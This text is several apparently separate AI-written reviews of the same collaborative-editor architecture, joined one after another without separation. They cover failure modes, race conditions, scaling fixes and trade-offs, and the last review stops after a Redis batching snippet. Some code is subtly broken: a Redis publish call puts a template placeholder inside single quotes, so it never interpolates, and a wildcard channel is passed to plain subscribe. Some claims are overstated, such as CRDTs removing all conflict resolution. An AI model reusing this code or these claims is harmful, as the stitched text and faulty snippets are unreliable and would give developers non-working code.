Below is a systematic “failure‑mode → root cause → mitigation” map for the architecture you described.
I grouped the items into four logical layers (client ↔ network ↔ API ↔ data) and then added a cross‑cutting “operational” section (security, observability, cost, etc.). For each problem I list a concrete remedy and the main trade‑offs you’ll have to consider.

---

1️⃣ Client‑Side & Network Layer

#	Potential Failure / Race	Why it Happens	Mitigation (with trade‑offs)
1.1	Lost or out‑of‑order WebSocket messages	TCP guarantees order, but a client can reconnect to a different API instance and miss messages that were broadcast only on the original server.	Introduce a message‑sequence number + ACK on the client side and a re‑play buffer on each server (e.g., recent 10 s of changes). When a client reconnects, it sends the last sequence it processed and the server re‑sends any missing deltas. <br>Trade‑off: extra memory on the server and a small latency spike on reconnect; complexity in the client‑side state machine.
1.2	Clock skew → wrong “last‑write‑wins”	Clients use their own clocks for timestamps; a fast clock can overwrite a slower one even if the edit happened later.	Server‑generated timestamps (e.g., monotonic logical clock or ULID) instead of client clocks. The client can still send a provisional timestamp for UI ordering, but the authoritative order comes from the server. <br>Trade‑off: adds a round‑trip for each edit (or a small server‑side queue) and requires the server to keep a per‑document logical clock.
1.3	JWT theft / replay	Token stored in localStorage is accessible to any script on the page (XSS) and can be replayed on another device.	Store JWT in an HttpOnly Secure SameSite cookie and rotate it frequently (e.g., short‑lived access token + refresh token). Use refresh‑token rotation and revocation list. <br>Trade‑off: more complex auth flow; need CSRF protection for cookie‑based auth.
1.4	Network partitions → “split‑brain” edits	A client may be isolated from the primary API server and connect to a secondary that has stale data.	Use a centralised real‑time broker (e.g., Redis Streams, NATS, or a dedicated OT/CRDT service) that all API instances subscribe to, instead of per‑server broadcast. <br>Trade‑off: introduces a new component and network hop, but guarantees total ordering across the cluster.
1.5	Large payloads in WebSocket frames	Sending full HTML snapshots every 30 s can overflow the socket buffer on low‑bandwidth connections.	Compress deltas (e.g., JSON‑diff, operational‑transform/CRDT delta) and send only the delta, not the full snapshot. Keep periodic full snapshots for recovery only. <br>Trade‑off: requires a diff algorithm and versioning; adds CPU overhead on both client and server.

---

2️⃣ API / Application Layer

#	Potential Failure / Race	Why it Happens	Mitigation (with trade‑offs)
2.1	Broadcast limited to “clients on the same server”	Server A never sees changes from Server B unless the DB poll picks them up; a 2‑second poll window creates a visible lag and possible race conditions.	Replace polling with a publish/subscribe bus (Redis Pub/Sub, Kafka, or a dedicated WebSocket message broker). Each server publishes its delta and subscribes to all others. <br>Trade‑off: extra infrastructure, need to handle message ordering and at‑least‑once delivery.
2.2	Polling interval too coarse → race conditions	Two users editing the same paragraph on different servers may both write to DB before the poll catches the other’s change, leading to “last‑write‑wins” conflicts.	Use a write‑ahead log / change‑feed (PostgreSQL logical replication, WAL‑2‑JSON, or a dedicated event store). Servers consume the feed in real time, eliminating the need for polling. <br>Trade‑off: more complex DB setup; requires idempotent handling of events.
2.3	Database write contention	Every keystroke (or batch of keystrokes) triggers a write to PostgreSQL; high‑frequency edits can cause row‑level lock contention on the document table.	Batch edits in memory (e.g., 100 ms window) and write a single UPDATE per user per batch. Alternatively, store deltas in a separate “edits” table and apply them asynchronously to the main snapshot. <br>Trade‑off: introduces a small latency for persistence; adds a background compaction job.
2.4	Single point of failure in WebSocket connection handling	If a single API instance crashes, all its connected clients lose their real‑time channel until they reconnect.	Deploy a dedicated WebSocket gateway (e.g., Envoy, NGINX, or a managed service like AWS API Gateway WebSocket) that sits in front of the API servers and can gracefully detach/attach connections. <br>Trade‑off: extra network hop; need to forward messages to the correct backend (via sticky sessions or a message bus).
2.5	Load‑balancer sticky‑session misconfiguration	Round‑robin without stickiness forces a client to reconnect to a different server on each request, breaking the per‑server broadcast model.	Enable session affinity (IP‑hash or cookie‑based) for WebSocket upgrades, or better, decouple connection handling from business logic (see 2.4). <br>Trade‑off: can lead to uneven load distribution; affinity may break when a server is drained for maintenance.
2.6	Memory leak in per‑connection buffers	Keeping a per‑client delta buffer for replay can grow unbounded if a client stays idle for a long time.	Set a TTL on buffers (e.g., 30 s) and drop the oldest entries when the buffer exceeds a size limit. Use a circular buffer implementation. <br>Trade‑off: a very slow client may miss some deltas and need to request a full snapshot.
2.7	Back‑pressure on WebSocket writes	If a client’s network is slow, the server’s write buffer can fill, causing the Node.js event loop to block or crash.	Implement flow‑control: pause reading from the source when the socket’s bufferedAmount exceeds a threshold, and resume after a drain event. <br>Trade‑off: adds latency for slow clients; may need to drop or compress older deltas.

---

3️⃣ Data / Persistence Layer

#	Potential Failure / Race	Why it Happens	Mitigation (with trade‑offs)
3.1	Snapshot every 30 s → storage churn	Writing a full HTML blob every half‑minute for many active documents can saturate I/O and increase storage costs.	Store only incremental deltas and generate a snapshot lazily (e.g., after N edits or when a user requests a version). Keep a periodic “checkpoint” (e.g., every 5 min) for fast recovery. <br>Trade‑off: recovery requires replaying deltas; more complex compaction logic.
3.2	Read‑replica lag	If the API reads from replicas for “current document state”, lag can cause a client to see stale data after a recent edit.	Read‑your‑writes: after a successful write, read back from the primary (or use a “write‑through cache” in Redis). <br>Trade‑off: extra read load on the primary; may need to tune replica lag thresholds.
3.3	PostgreSQL row‑level lock contention	Simultaneous UPDATEs on the same document row cause lock waiting, increasing latency and possibly deadlocks.	Use SELECT … FOR UPDATE SKIP LOCKED on a “pending edits” table, or store edits in a separate table keyed by (document_id, edit_seq) and let a background worker merge them into the snapshot. <br>Trade‑off: more tables and background jobs; eventual consistency for the snapshot.
3.4	Redis cache eviction / stale session data	If the session cache is not sized correctly, eviction can cause a user to lose their edit‑state, forcing a full reload.	Use a TTL per session (e.g., 5 min) and a “fallback” to DB if a cache miss occurs. Monitor cache hit‑rate and size the cluster accordingly. <br>Trade‑off: higher memory cost; occasional extra DB reads.
3.5	Schema evolution / migration downtime	Adding a new column to the document table (e.g., for metadata) can lock the table for a noticeable period.	Use online schema change tools (e.g., pg_repack, pt-online-schema-change) or add new columns with default NULL and back‑fill in batches. <br>Trade‑off: longer migration window; need to coordinate with rolling releases.
3.6	Data loss on sudden crash	If a write is acknowledged to the client before PostgreSQL has flushed to disk, a crash could lose the edit.	Enable synchronous_commit = on for critical tables, or use two‑phase commit with a write‑ahead log in Redis that is persisted before acknowledging. <br>Trade‑off: higher latency for each write; extra complexity in failure recovery.

---

4️⃣ Cross‑Cutting / Operational Concerns

#	Issue	Why it Happens	Mitigation (with trade‑offs)
4.1	CDN caching of API responses	Caching API JSON for 5 min can serve stale document data after an edit.	Add Cache-Control: no‑store on any endpoint that returns mutable document state. Use CDN only for static assets and truly immutable API calls (e.g., list of templates). <br>Trade‑off: loses the small latency benefit of CDN for those endpoints.
4.2	Horizontal scaling without sharding	Adding more API servers only spreads load; the DB remains a single bottleneck for writes.	Partition documents by organization ID (or hash of doc‑id) and assign each partition to a dedicated DB shard (or use a multi‑tenant PostgreSQL with separate schemas). <br>Trade‑off: operational overhead of managing multiple shards; cross‑shard queries become more complex.
4.3	Single point of failure in load balancer	If the LB crashes, all traffic is lost.	Deploy a highly‑available LB pair (e.g., AWS ALB with multiple AZs, or HAProxy with VRRP). <br>Trade‑off: cost of extra instances and health‑check configuration.
4.4	Observability gaps	No metrics on WebSocket latency, queue depth, or DB write latency → hard to detect a bottleneck.	Instrument the stack: Prometheus metrics for socket bufferedAmount, DB query time, Redis hit‑rate; distributed tracing (OpenTelemetry) across the WebSocket → API → DB path. <br>Trade‑off: adds CPU/IO overhead and requires a monitoring stack.
4.5	Security – CSRF on JWT cookie	If you move JWT to HttpOnly cookie, a malicious site could still trigger a request with the cookie.	SameSite=Strict or Lax plus CSRF token for state‑changing endpoints. <br>Trade‑off: may break legitimate cross‑origin use cases (e.g., embedding the editor in another domain).
4.6	Versioning / backward compatibility	Clients may be on older JS bundles that expect a different message format.	Add a version field in every WebSocket message and have the server negotiate a compatible protocol (or reject with a clear error). <br>Trade‑off: extra code path for version handling; need to retire old versions.
4.7	Cost of frequent snapshots	Storing a full HTML snapshot every 30 s for thousands of documents can explode storage costs.	Compress snapshots (gzip/ Brotli) and store them in object storage (S3) with lifecycle policies, while keeping only the latest N snapshots in PostgreSQL. <br>Trade‑off: additional latency when retrieving older versions; need a background job to sync between DB and object storage.

---

5️⃣ Consolidated “What‑to‑Do First” Roadmap

Phase	Primary Goal	Key Changes	Approx. Effort
Phase 1 – Real‑time reliability	Remove per‑server broadcast & polling	• Introduce a central pub/sub broker (Redis Streams or NATS). <br>• Switch to server‑generated timestamps. <br>• Add sequence‑number ACK/replay for reconnects.	2‑3 weeks (broker setup + code changes).
Phase 2 – Data‑layer optimisation	Reduce DB contention & storage churn	• Store deltas in an “edits” table, periodic snapshot worker. <br>• Batch DB writes (100 ms window). <br>• Enable logical replication feed for near‑real‑time change propagation.	3‑4 weeks (schema changes + background workers).
Phase 3 – Security & auth hardening	Prevent token theft & stale cache	• Move JWT to HttpOnly SameSite cookie + refresh‑token rotation. <br>• Remove CDN caching for mutable API endpoints.	1‑2 weeks (auth flow changes).
Phase 4 – Scaling & resilience	Prepare for horizontal growth	• Deploy a dedicated WebSocket gateway with sticky‑session fallback. <br>• Add DB sharding/partitioning by org ID. <br>• Set up HA load balancer and health checks.	4‑6 weeks (infrastructure provisioning).
Phase 5 – Observability & ops	Detect and react to failures early	• Export Prometheus metrics & OpenTelemetry traces. <br>• Implement alerting on socket lag, DB write latency, Redis hit‑rate.	1‑2 weeks (instrumentation).

---

TL;DR Summary of Core Issues & Fixes

Category	Core Problem	Quick Fix	Long‑Term Fix
Real‑time ordering	Client timestamps + per‑server broadcast	Server‑generated timestamps + ACK replay	Central pub/sub + CRDT/OT engine
Latency & lost updates	2‑s DB poll + reconnection to different server	Reduce poll to < 200 ms or use change‑feed	Event stream (Logical Replication / Kafka)
DB write contention	One row per document, many concurrent UPDATEs	Batch edits, store deltas in separate table	Append‑only log + background compaction
Snapshot storage	Full HTML every 30 s	Store only deltas, compress snapshots	Object‑store checkpoints + lazy snapshot generation
Auth & token safety	JWT in localStorage	HttpOnly SameSite cookie + refresh rotation	OAuth‑style short‑lived access tokens + revocation list
Scaling bottleneck	Single PostgreSQL primary	Read‑replicas for reads, logical replication for writes	Horizontal sharding / multi‑tenant schemas
Cache staleness	CDN caching API responses	Cache-Control: no-store on mutable endpoints	Edge‑side invalidation via webhook on edit
Observability	No metrics on WebSocket health	Add simple latency counters	Full distributed tracing + alerting pipeline

Implementing the Phase 1 changes (centralised pub/sub + server timestamps) will instantly eliminate the most visible race conditions (out‑of‑order updates, stale broadcasts). From there, you can progressively address storage, security, and scaling concerns while keeping the system observable and resilient.

This architecture for a real-time collaborative document editor is a solid starting point, but it contains several potential failure modes, race conditions, and scaling bottlenecks. We'll outline these issues by category and provide specific solutions, along with trade-offs for each.

---

🔥 Failure Modes

1. WebSocket Session Stickiness

• Problem: API servers maintain their own WebSocket connections, but a load balancer using round-robin may route a user to a different server upon reconnection, losing context/state.
• Impact: Lost session state, missed updates, or document desyncs.
• Solution:
  • Use sticky sessions via load balancer (e.g., AWS ALB with session affinity).
  • Better: Use a shared pub/sub layer (e.g., Redis Pub/Sub, Apache Kafka) where all servers broadcast/receive real-time updates.
• Trade-off: Adds operational complexity and latency, but ensures state consistency across servers.

---

2. Client Clock Drift

• Problem: Last-write-wins with client-side timestamps assumes synchronized clocks. Clock skew can cause updates to be applied out-of-order.
• Impact: Data loss or incorrect overwrites.
• Solution:
  • Use server-generated timestamps.
  • Alternatively, implement vector clocks or operational transforms (OT) / conflict-free replicated data types (CRDTs).
• Trade-off: Server timestamps add round-trip latency. OT/CRDTs are complex to implement but provide precise conflict resolution.

---

3. PostgreSQL Polling Delay

• Problem: Servers poll PostgreSQL every 2 seconds for changes. This introduces latency in update propagation and increases DB load.
• Impact: Delayed updates between users on different servers.
• Solution:
  • Replace polling with PostgreSQL LISTEN/NOTIFY or use a real-time change data capture (CDC) system (e.g., Debezium + Kafka).
• Trade-off: Requires infrastructure changes. LISTEN/NOTIFY has limits on payload size and connection count.

---

4. Single Point of Failure: PostgreSQL

• Problem: PostgreSQL is a single point of failure for writes, even with read replicas.
• Impact: Downtime or data loss on DB failure.
• Solution:
  • Use managed PostgreSQL with automated failover (e.g., AWS Aurora).
  • Consider sharding or partitioning documents by org ID.
• Trade-off: Sharding adds complexity in query logic and data management.

---

5. Redis Failure

• Problem: Redis used for session cache is a potential single point of failure.
• Impact: Session loss, auth issues, degraded performance.
• Solution:
  • Use Redis in a clustered or replicated setup with failover support (e.g., Redis Sentinel or AWS ElastiCache).
• Trade-off: Slightly more expensive and complex.

---

6. JWT in localStorage

• Problem: JWTs stored in localStorage are vulnerable to XSS attacks.
• Impact: Token theft, unauthorized access.
• Solution:
  • Store JWTs in HttpOnly, Secure cookies.
  • Use short-lived access tokens with refresh tokens stored securely.
• Trade-off: Slightly more complex auth flow, but significantly more secure.

---

⚠️ Race Conditions & Data Consistency Risks

1. Concurrent Edits in Same Paragraph

• Problem: Last-write-wins can cause loss of intermediate edits.
• Impact: Overwrites and inconsistent user experience.
• Solution:
  • Use OT or CRDTs for conflict-free merging of edits.
  • Or implement paragraph-level locking/versioning.
• Trade-off: OT/CRDTs are complex but scalable. Locking can cause UX issues under high contention.

---

2. Simultaneous Server Writes

• Problem: Two servers may write to the DB for the same document based on stale state.
• Impact: Write conflicts, inconsistent document state.
• Solution:
  • Use optimistic concurrency control (e.g., version column with each write).
  • Reject or retry conflicting updates.
• Trade-off: Adds complexity to write logic.

---

3. CDN Caching API Responses

• Problem: CDN caches API responses for 5 minutes, which may serve stale data (e.g., document state or user permissions).
• Impact: Users see outdated content.
• Solution:
  • Use cache headers appropriately: Cache-Control: no-store or short TTLs for dynamic content.
  • Use cache-busting query params or ETags.
• Trade-off: Reduces CDN cache hit rate.

---

🚧 Scaling Bottlenecks

1. WebSocket Scalability

• Problem: Each server maintains its own WebSocket connections, leading to duplication and scalability issues.
• Impact: Hard to scale horizontally, inconsistent state across servers.
• Solution:
  • Use a shared WebSocket backend (e.g., Socket.IO with Redis adapter, or a dedicated message broker like NATS).
  • Or offload WebSocket handling to a service like AWS API Gateway + Lambda or Ably/Pusher.
• Trade-off: Increased architectural complexity, but essential for scale.

---

2. Document Save Strategy

• Problem: Saving full HTML snapshots every 30 seconds is storage-intensive and inefficient.
• Impact: Inefficient storage, difficult to support fine-grained undo/history.
• Solution:
  • Save a diff/patch log (event sourcing) and periodically snapshot for recovery.
  • Use versioned documents with granular delta storage.
• Trade-off: More complex, but enables better history, undo, and auditing.

---

3. Load Balancer Round-Robin

• Problem: Round-robin doesn’t account for server load or sessions.
• Impact: Uneven load, missed sessions after reconnect.
• Solution:
  • Use a load balancer with health checks and weighted routing or session affinity.
• Trade-off: Slightly more infrastructure config.

---

4. Organization-Based Partitioning

• Problem: Partitioning by organization ID is good, but can lead to hotspots for large organizations.
• Impact: Uneven load, potential DB bottlenecks.
• Solution:
  • Further partition data by document ID or user ID within organizations.
  • Use distributed databases if scale demands (e.g., CockroachDB, YugabyteDB).
• Trade-off: Increases data model complexity.

---

✅ Summary of Recommendations

Issue	Solution	Trade-off
Client timestamp conflicts	Use server timestamps or CRDT	Complexity vs correctness
Polling DB for changes	Use LISTEN/NOTIFY or CDC	Infra changes
WebSocket scaling	Use Redis Pub/Sub or managed service	Increased infra complexity
JWT in localStorage	Use Secure HttpOnly cookies	Auth flow complexity
Full document snapshots	Store diffs + snapshots	More storage logic
CDN caching API	Use no-store / ETags	Lower cache hit rate
Redis single point	Use Redis cluster	Higher cost
PostgreSQL SPOF	Use managed DB with failover	Cost, setup
Load balancer routing	Use sticky sessions	State management
Org-based partitioning	Add finer-grained partitioning	Complexity

---

By addressing these failure modes and bottlenecks with targeted improvements, this architecture can scale more robustly while maintaining real-time collaboration and data integrity.

The proposed architecture for the real-time collaborative document editor has several potential failure modes, race conditions, and scaling bottlenecks. Here are the identified issues and proposed solutions with their trade-offs:

1. Single Point of Failure: Load Balancer

   • Issue: The load balancer is a single point of failure in the system. If the load balancer fails, the entire system becomes unavailable.
   • Solution: Implement a highly available load balancing solution, such as using a redundant pair of load balancers or a distributed load balancing service (e.g., AWS Elastic Load Balancing, Google Cloud Load Balancing).
   • Trade-offs: Increased complexity and cost of the infrastructure, potential performance impact due to the additional layer of load balancing.

2. Scaling Bottleneck: WebSocket Connections

   • Issue: Each API server maintains its own WebSocket connections to clients, which can become a scaling bottleneck as the number of concurrent users increases.
   • Solution: Introduce a dedicated WebSocket server layer, separate from the API servers, that can handle WebSocket connections and distribute the load across multiple instances.
   • Trade-offs: Additional infrastructure complexity, potential latency increase due to the additional hop between the API servers and the WebSocket servers.

3. Race Condition: Document Updates

   • Issue: When two users edit the same paragraph simultaneously, the last-write-wins strategy with timestamps from client clocks may not be reliable, as client clocks can be unsynchronized.
   • Solution: Implement a more robust conflict resolution strategy, such as using a central document state management system (e.g., using operational transformations or Conflict-free Replicated Data Types) to handle concurrent updates and ensure data consistency.
   • Trade-offs: Increased complexity in the backend and client-side logic, potential performance impact due to the additional processing required for conflict resolution.

4. Scaling Bottleneck: Database Writes

   • Issue: The frequent writes to the PostgreSQL database, especially during periods of high user activity, can become a scaling bottleneck.
   • Solution: Introduce a message queue (e.g., RabbitMQ, Apache Kafka) between the API servers and the PostgreSQL database. The API servers can publish document updates to the message queue, and a separate worker process can consume the messages and write them to the database.
   • Trade-offs: Additional infrastructure complexity, potential latency increase due to the additional message queue layer.

5. Scalability Limit: Document Partitioning

   • Issue: While the proposed document partitioning by organization ID can help with scaling, it may not be sufficient for very large organizations or high-traffic scenarios.
   • Solution: Introduce a more sophisticated document partitioning strategy, such as combining organization ID with document ID or user ID, to further distribute the load and improve scalability.
   • Trade-offs: Increased complexity in the document management and retrieval logic, potential impact on query performance and data consistency.

6. Security Concern: JWT Token Storage

   • Issue: Storing JWT tokens in the client's localStorage may not be the most secure approach, as it can be vulnerable to cross-site scripting (XSS) attacks.
   • Solution: Store the JWT tokens on the server-side, using a session-based authentication mechanism, and use a secure cookie to maintain the session. Alternatively, consider using a dedicated authentication service (e.g., Auth0, Firebase Authentication) to handle user authentication.
   • Trade-offs: Increased complexity in the authentication and session management logic, potential impact on user experience due to the additional server-side roundtrips.

7. Caching Effectiveness: API Response Caching

   • Issue: Caching API responses for 5 minutes may not be effective, especially for real-time collaborative scenarios where document changes need to be reflected immediately.
   • Solution: Implement a more granular caching strategy, where only the static assets are cached using the CDN, while the API responses are cached for a shorter duration (e.g., 10-30 seconds) or invalidated based on document update events.
   • Trade-offs: Increased complexity in the caching logic, potential impact on the user experience if the cache invalidation is not handled correctly.

By addressing these potential issues, the proposed architecture can be improved to achieve better reliability, scalability, and performance for the real-time collaborative document editor.

I'll analyze this architecture systematically and identify key issues along with potential solutions:

1. Clock Synchronization Issues Problem: Using client timestamps for conflict resolution is unreliable due to unsynchronized clocks. Solution: Replace with Lamport timestamps or vector clocks

• Pro: Guarantees causally consistent ordering
• Con: Increased complexity and metadata overhead
• Con: Vector clocks grow with number of users

2. Split-Brain WebSocket Broadcasting Problem: Changes only broadcast within same server, creating race conditions Solution A: Use Redis Pub/Sub for cross-server broadcasting

• Pro: Real-time cross-server communication
• Con: Additional Redis load
• Con: Single point of failure

Solution B: Move to Kafka for event streaming

• Pro: Better scaling and fault tolerance
• Con: Increased operational complexity
• Con: Higher latency than Redis

3. Polling Bottleneck Problem: Polling PostgreSQL every 2 seconds won't scale with many servers Solution: Implement Change Data Capture (CDC) with PostgreSQL logical replication

• Pro: Real-time updates without polling
• Con: More complex setup
• Con: Requires careful monitoring of replication lag

4. Single Write Master Database Problem: All writes going to one PostgreSQL instance Solution: Implement document-based sharding

• Pro: Distributes write load
• Con: Complexity in cross-shard operations
• Con: Need for distributed transactions

5. Last-Write-Wins Data Loss Problem: LWW can silently drop valid user changes Solution: Implement Operational Transform (OT) or Conflict-free Replicated Data Types (CRDTs)

• Pro: No data loss, better conflict resolution
• Con: Significant complexity increase
• Con: Higher memory usage

6. JWT Token Security Problem: localStorage vulnerable to XSS, 24-hour window is long Solution: Use HttpOnly cookies with shorter expiry + refresh tokens

• Pro: Better security
• Con: Need to handle refresh flow
• Con: More complex implementation

7. CDN Cache Consistency Problem: 5-minute cache could serve stale data Solution: Implement cache invalidation on writes

• Pro: Consistent data
• Con: More complex deployment
• Con: Potentially higher origin load

8. WebSocket Connection Management Problem: No reconnection strategy specified Solution: Implement exponential backoff + state sync

• Pro: Better reliability
• Con: More complex client logic
• Con: Need for state reconciliation

9. Full Document Snapshots Problem: Storing full HTML snapshots is inefficient Solution: Store operations log + periodic compaction

• Pro: More efficient storage
• Con: More complex recovery
• Con: Need for background compaction jobs

10. Load Balancer Session Affinity Problem: Round-robin might break WebSocket connections Solution: Implement sticky sessions

• Pro: Maintains WebSocket connections
• Con: Less even load distribution
• Con: More complex failover

11. Redis Single Point of Failure Problem: Single Redis instance for session cache Solution: Redis cluster with sentinel

• Pro: High availability
• Con: Network complexity
• Con: Need for cluster management

12. Document Concurrency Control Problem: No explicit locking mechanism Solution: Implement optimistic concurrency control with version numbers

• Pro: Better conflict detection
• Con: May require retry logic
• Con: Additional database load

Recommendations for Implementation Priority:

1. Replace client timestamps with Lamport timestamps immediately
2. Implement Redis Pub/Sub for cross-server communication
3. Switch to CDC instead of polling
4. Implement proper WebSocket reconnection handling
5. Add proper concurrency control
6. Improve security with HttpOnly cookies
7. Implement proper cache invalidation
8. Consider CRDT implementation for long-term scalability

This would provide a more robust foundation while keeping immediate implementation complexity manageable. The more complex solutions (like sharding) can be implemented as needed based on actual usage patterns and growth.

Collaborative Document Editor: Architecture Review

Failure Modes Analysis

1. WebSocket Connection Failures

Issue: Client connections can fail due to network issues or server restarts, causing lost updates. Solution: Implement automatic reconnection with change buffering

• Store pending changes in client memory with periodic localStorage backups
• Implement exponential backoff for reconnection attempts
• Add offline mode indicators and sync status UI
• Maintain client session context to resume collaboration properly

Trade-offs: Increases client-side complexity; potential for complex conflict resolution when reconnecting after extended offline periods

2. Single-Server Communication Silo

Issue: Changes only broadcast to clients connected to the same server Solution: Replace polling with a proper pub/sub system

• Implement Redis pub/sub channels for cross-server communication
• Each server publishes changes to a common channel and subscribes to receive others
• Eliminates the 2-second polling delay and reduces database load

Trade-offs: Adds Redis as another critical component; requires handling Redis outages

3. Database Single Point of Failure

Issue: If PostgreSQL fails, the entire system becomes unusable Solution: Implement multi-level persistence strategy

• Primary/replica configuration with automatic failover
• Write-ahead log in memory or separate queue before database commit
• Circuit breakers to gracefully degrade functionality during database issues
• Consider separating read and write paths with CQRS pattern

Trade-offs: Significantly increases operational complexity; eventual consistency challenges

Race Conditions

1. Client Clock Timestamps

Issue: Using client clocks for conflict resolution is unreliable Solution: Implement proper distributed sequence tracking

• Replace client timestamps with Lamport timestamps or vector clocks
• Consider full Operational Transformation (OT) or Conflict-free Replicated Data Types (CRDTs)
• Server-assigned sequence numbers for total ordering of operations

Trade-offs: OT/CRDTs introduce significant implementation complexity; requires more metadata with each change

2. Coarse-grained Conflict Resolution

Issue: Paragraph-level "last-write-wins" causes data loss during concurrent edits Solution: Implement finer-grained conflict resolution

• Character-level operations rather than paragraph-level
• Use differential synchronization or OT for merging concurrent edits
• Separate structure from content in the document model

Trade-offs: Increases computational overhead; more complex data model

3. JWT Token Management

Issue: localStorage tokens vulnerable to XSS; no revocation mechanism Solution: Improve token security

• Move to HttpOnly cookies for tokens (with CSRF protection)
• Implement token revocation via Redis blacklist
• Add refresh token rotation for improved security
• Consider shorter token lifetimes (1 hour instead of 24)

Trade-offs: More complex authentication flow; additional Redis dependency

Scaling Bottlenecks

1. PostgreSQL as Synchronization Point

Issue: Database becomes bottleneck with high concurrent editing Solution: Distributed event sourcing architecture

• Use specialized append-only event store for document operations
• Implement document-specific sharding/partitioning strategy
• Consider purpose-built databases for collaborative editing (e.g., FaunaDB)

Trade-offs: Increases system complexity; potentially higher infrastructure costs

2. Inefficient Document Storage

Issue: Full HTML snapshots are storage-inefficient and risky Solution: Hybrid storage approach

• Store document operations as an append-only log (event sourcing)
• Generate snapshots at logical points (not time-based), like after major changes
• Store documents as structured data (e.g., JSON) instead of raw HTML
• Implement incremental document loading for large documents

Trade-offs: More complex recovery and rendering logic; requires migration strategy

3. CDN Caching of Dynamic Content

Issue: 5-minute API caching conflicts with real-time editing Solution: Targeted caching strategy

• Cache only static assets and immutable resources
• Use cache-control headers to prevent caching of document content
• Implement cache invalidation for resources that do change occasionally

Trade-offs: Reduced CDN effectiveness; potentially higher origin load

4. WebSocket Connection Distribution

Issue: Uneven connection distribution across servers Solution: Dedicated real-time tier

• Separate WebSocket handling from API servers
• Implement consistent hashing for connection distribution
• Consider specialized WebSocket services (e.g., Pusher, Socket.io service)

Trade-offs: Additional infrastructure component; higher operational complexity

Recommended Priority Fixes

1. Implement proper real-time synchronization (Redis pub/sub)
2. Replace client clock timestamps with server-based logical clocks
3. Upgrade document storage strategy to incremental operations
4. Improve WebSocket reliability with reconnection handling
5. Fix authentication security issues with proper token management

These changes would significantly improve reliability, correctness, and performance of your collaborative editing system.

Critical Issues Analysis

🔴 CRITICAL: Data Loss & Consistency Issues

1. Client Clock-Based Timestamps (SEVERE)

Problem:

• Client clocks can be wrong, manipulated, or skewed
• User with clock set to future will always "win" conflicts
• No guaranteed ordering of operations

Failure Scenarios:

User A (clock: 2024-01-01 10:00:00) types "Hello"
User B (clock: 2024-01-01 09:59:59) types "World"
Result: "Hello" wins even though "World" was actually typed later

Solutions:

Approach	Pros	Cons
Server-assigned Lamport clocks	Logical ordering, no clock sync needed	Requires coordination
Hybrid logical clocks (HLC)	Combines wall-clock + logical counter	More complex implementation
Operational Transform (OT)	Industry standard, handles intent	Complex to implement correctly
CRDT (Conflict-free Replicated Data Types)	Mathematically guaranteed convergence	Memory overhead, learning curve

Recommended: Implement CRDT (Yjs or Automerge library)

• Trade-off: 2-3x memory overhead vs guaranteed consistency
• Eliminates need for conflict resolution entirely

---

2. WebSocket Partitioning (CRITICAL)

Problem:

• Users on different servers don't receive real-time updates
• 2-second polling creates massive delays and inconsistency
• Race conditions between WebSocket broadcasts and polling

Failure Scenario:

Time 0s: User A (Server 1) types "A"
Time 0.5s: User B (Server 2) types "B" 
Time 2s: Server 2 polls, gets "A", broadcasts to User B
Time 2.5s: User C (Server 1) sees "AB", User D (Server 2) sees "BA"

Solutions:

Approach	Latency	Complexity	Cost
Redis Pub/Sub	<50ms	Low	$
RabbitMQ/Kafka	<100ms	Medium	$$
Dedicated WebSocket service (Socket.io with Redis adapter)	<30ms	Low	$

Recommended: Redis Pub/Sub with sticky sessions

// On any server receiving a change
redis.publish('document:${docId}', JSON.stringify(change));

// All servers subscribe
redis.subscribe('document:*', (channel, message) => {
  const docId = channel.split(':')[1];
  broadcastToLocalClients(docId, JSON.parse(message));
});

• Trade-off: Redis becomes single point of failure (mitigate with Redis Sentinel/Cluster)

---

3. Full HTML Snapshots (DATA LOSS RISK)

Problem:

• 30-second window for data loss if server crashes
• No audit trail or version history
• Cannot undo/replay operations
• HTML storage is inefficient and risky (XSS, formatting loss)

Solutions:

Approach	Storage	Recovery	History
Event sourcing	10x more	Complete	Full
Operational log + snapshots	3x more	Good	Configurable
Differential snapshots	2x more	Good	Limited

Recommended: Event Sourcing with Periodic Snapshots

-- Operations table
CREATE TABLE operations (
  id BIGSERIAL PRIMARY KEY,
  document_id UUID,
  user_id UUID,
  operation JSONB,  -- CRDT operation
  server_timestamp TIMESTAMPTZ DEFAULT NOW(),
  lamport_clock BIGINT
);

-- Snapshots table (every 100 operations)
CREATE TABLE snapshots (
  document_id UUID,
  version BIGINT,
  content JSONB,
  created_at TIMESTAMPTZ
);

• Trade-off: 3-5x storage increase vs complete audit trail and zero data loss

---

🟠 SEVERE: Race Conditions

4. Concurrent Paragraph Edits

Problem:

• "Last write wins" on paragraph level causes character-level data loss
• No operational transformation

Example:

Initial: "The cat"
User A: "The black cat" (inserts "black ")
User B: "The fat cat" (inserts "fat ")
Last-write-wins result: "The fat cat" (User A's work lost)
Correct result: "The black fat cat" or "The fat black cat"

Solution: Use character-level CRDT (Yjs RichText type)

import * as Y from 'yjs';

const ydoc = new Y.Doc();
const ytext = ydoc.getText('content');

// Automatically handles concurrent inserts
ytext.insert(4, 'black ');  // User A
ytext.insert(4, 'fat ');    // User B
// Result preserves both edits with deterministic ordering

---

5. Database Write Conflicts

Problem:

• Multiple servers writing to same document simultaneously
• PostgreSQL row-level locking causes deadlocks
• No transaction coordination

Solution: Optimistic locking with version numbers

CREATE TABLE documents (
  id UUID PRIMARY KEY,
  version BIGINT NOT NULL,
  content JSONB,
  updated_at TIMESTAMPTZ
);

-- Update with version check
UPDATE documents 
SET content = $1, version = version + 1, updated_at = NOW()
WHERE id = $2 AND version = $3
RETURNING version;

-- If no rows updated, version conflict occurred

---

🟡 MAJOR: Scaling Bottlenecks

6. PostgreSQL Write Bottleneck

Problem:

• Every keystroke = database write
• PostgreSQL limited to ~10k writes/sec on single node
• Read replicas don't help write-heavy workload

Calculation:

100 concurrent users × 60 keystrokes/min = 100 writes/sec ✓
1,000 concurrent users = 1,000 writes/sec ✓
10,000 concurrent users = 10,000 writes/sec (at limit) ⚠️
100,000 concurrent users = 100,000 writes/sec ✗

Solutions:

Approach	Throughput	Consistency	Complexity
Write-through cache (Redis)	100k+ ops/sec	Eventual	Low
Batch operations	50k+ ops/sec	Strong	Medium
Sharded PostgreSQL (Citus)	500k+ ops/sec	Strong	High

Recommended: Redis Write-Through Cache + Async Persistence

// Write to Redis immediately (fast)
await redis.zadd(`ops:${docId}`, timestamp, JSON.stringify(op));

// Async worker drains to PostgreSQL in batches
setInterval(async () => {
  const ops = await redis.zrange(`ops:${docId}`, 0, 99);
  await pg.query('INSERT INTO operations VALUES ...', ops);
  await redis.zrem(`ops:${docId}`, ...ops);
}, 1000);

